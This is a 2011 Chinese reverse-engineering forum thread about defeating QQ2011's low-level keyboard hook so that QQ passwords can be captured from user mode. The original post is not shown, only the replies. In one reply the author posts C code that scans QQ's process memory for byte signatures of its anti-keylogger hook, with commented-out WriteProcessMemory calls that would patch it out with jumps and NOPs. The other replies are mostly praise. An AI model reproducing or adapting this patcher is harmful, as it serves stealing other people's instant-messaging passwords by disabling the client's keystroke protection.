首页
社区
课程
招聘
[原创]QQ2011低级键盘钩子分析----ring3截获QQ密码
发表于: 2011-5-15 09:10 149910

[原创]QQ2011低级键盘钩子分析----ring3截获QQ密码

2011-5-15 09:10
149910
收藏
免费 7
支持
分享
最新回复 (124)
雪    币: 104
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
终于升级到初级会员

革命尚未成功
同志还需努力
2011-5-15 09:40
0
雪    币: 85
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
菜鸟看过后,仍不明白其作用。
2011-5-15 10:28
0
雪    币: 31
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
我简直是看不懂啊
2011-5-15 11:04
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
5
不好意思,写的有些仓促,主要谈论了下思路。细节看代码啦。有问题上来讨论。呵呵
2011-5-15 11:47
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
思路没看懂

3q
2011-5-15 12:01
0
雪    币: 1847
活跃值: (1816)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
7
额,你每次搜索就移动一个位置啊,那当然慢了,可以试着一次读取4k内存,然后再搜索,应该会快很多
2011-5-15 13:14
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
8
我是先通过页面属性先确定搜索区域的。然后再匹配特征码。真不知道CE是怎么做的,具体楼上有什么思路可以说的详细些不?你的意思是在程序里开辟4k的缓冲区,然后一次读4K数据进这个缓冲区吗?
2011-5-15 15:41
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
9
哈哈,改进成功了。就是一次读一页的内存,然后再匹配。用不到一秒的时间就可以找到两处特征码了。谢谢7楼的帮助。

BYTE                CharacterCode[ 9 ] = {0x8B,0x4D,0xFC,0x89,0x41,0x14,0x8B,0x4D,0xfc};//locate the set hook call
BYTE                CharacterCode2[8 ] = {0xB9,0x7,0,0,0,0x33,0xC0,0xFC};
BYTE                code[ 2 ] = { 0xeb,0x47 };
BYTE                code2[ 18 ] = {0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x33,0xc0};
BYTE        buffer[ 4096 ];
void Patch( HANDLE hProcess )
{
        BYTE        mem[ 9 ]={0},*p,*p1,*base,*addr1,*addr2,*q_hook_proc;
        DWORD        retBytes;
        int i,flag;
        MEMORY_BASIC_INFORMATION        mem_info;

        flag = 0;
        for( base = NULL;(DWORD)base <=0x1fff000;base+=0x1000 )
        {

                VirtualQueryEx( hProcess,base,&mem_info,sizeof( mem_info ) );

                while( mem_info.State != MEM_COMMIT ||
             //mem_info.State != MEM_RESERVE ||
             mem_info.Type == MEM_IMAGE ||
             mem_info.Type == MEM_MAPPED ||
             (mem_info.Protect != PAGE_EXECUTE_READWRITE && mem_info.Protect != PAGE_READWRITE) )
                {
                        base = /*(DWORD)mem_info.BaseAddress*/base+(DWORD)mem_info.RegionSize;
                        if( base > 0x1ffffff )return;
                        VirtualQueryEx( hProcess,base,&mem_info,sizeof( mem_info ) );
                }               
                //printf("\n%x %x",base,mem_info.RegionSize );
        
                for( p = base;(DWORD)p < (DWORD)base + mem_info.RegionSize;p+=4096)
        {
            
            if( !ReadProcessMemory( hProcess,p,buffer,4096,&retBytes ))
                                continue;
            
            for( i = 0;i < 4096-8;i++)
            {
                            if( memcmp( &buffer[i],CharacterCode2,8 ) == 0 )
                {
                                    q_hook_proc = p + i - 0x12;
                                    printf("\nhookproc:%x\n",q_hook_proc );
                            }
            }
            for( i = 0;i < 4096 - 9;i++)
            {
                            if( memcmp( &buffer[i],CharacterCode,9 ) == 0 )
                {
                                    printf("%x ",p+i );
                                    if( flag == 0 ){
                                            addr1 = p+i;
                                            flag++;
                                            continue;
                                    }
                                    if( flag == 1 ){
                                            addr2 = p+i;
                                            flag++;
                                            break;
                                    }
                            }
            }
                }
                if( flag == 2 )break;
                base = p-0x1000;
        }
        //这里为了验证特征码,暂时不修改内存。
        /*
        WriteProcessMemory( hProcess,(DWORD)addr2 + 13,code,2,NULL );
        WriteProcessMemory( hProcess,(DWORD)addr2 - 18,code2,18,NULL );
        WriteProcessMemory( hProcess,(DWORD)addr1 + 13,code,2,NULL );
        WriteProcessMemory( hProcess,(DWORD)addr1 - 18,code2,18,NULL );
        */
}

至于思路的问题,大家好好看下代码,再结合上边的简略描述,我想理解起来应该不是太困难了。把代码中的patch函数改进之后,效率就更高了……
2011-5-15 16:55
0
雪    币: 127
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
腾讯又要进行重大更新了!
2011-5-16 12:43
0
雪    币: 308
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
楼主写的不错,就是排版有点差。。。顶
2011-5-16 14:49
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
楼主很厉害,膜拜~
2011-5-16 16:11
0
雪    币: 116
活跃值: (321)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习了,好好去研究下
2011-5-16 17:00
0
雪    币: 612
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
这个。。看了还是不知道干嘛的 太菜了。。
2011-5-16 17:04
0
雪    币: 172
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
如果是自己研究出来的 就有点价值...
2011-5-16 19:17
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
腾讯又要进行重大更新了!
2011-5-16 19:31
0
雪    币: 271
活跃值: (196)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
下载收藏。。。
2011-5-17 00:01
0
雪    币: 58
活跃值: (274)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
刚刚升级成正式会员
第一帖来支持你
2011-5-17 10:46
0
雪    币: 211
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
先学习一下。。
2011-5-17 11:22
0
雪    币: 321
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
楼主强啊,顶起~~
2011-5-17 13:53
0
雪    币: 76
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
什么时候我也能分析别人的软件???-----好好学习天天向上
2011-5-17 13:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
牛人处处有啊
2011-5-17 17:14
0
雪    币: 48
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
楼主很厉害,膜拜~
2011-5-17 20:03
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
24
刚看看腾迅的官网,好象还没有最新的更新出来。太慢了,期待!
2011-5-18 22:52
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
25
还一直有人在盯着QQ啊
2011-5-18 23:00
0
游客
登录 | 注册 方可回帖
返回
//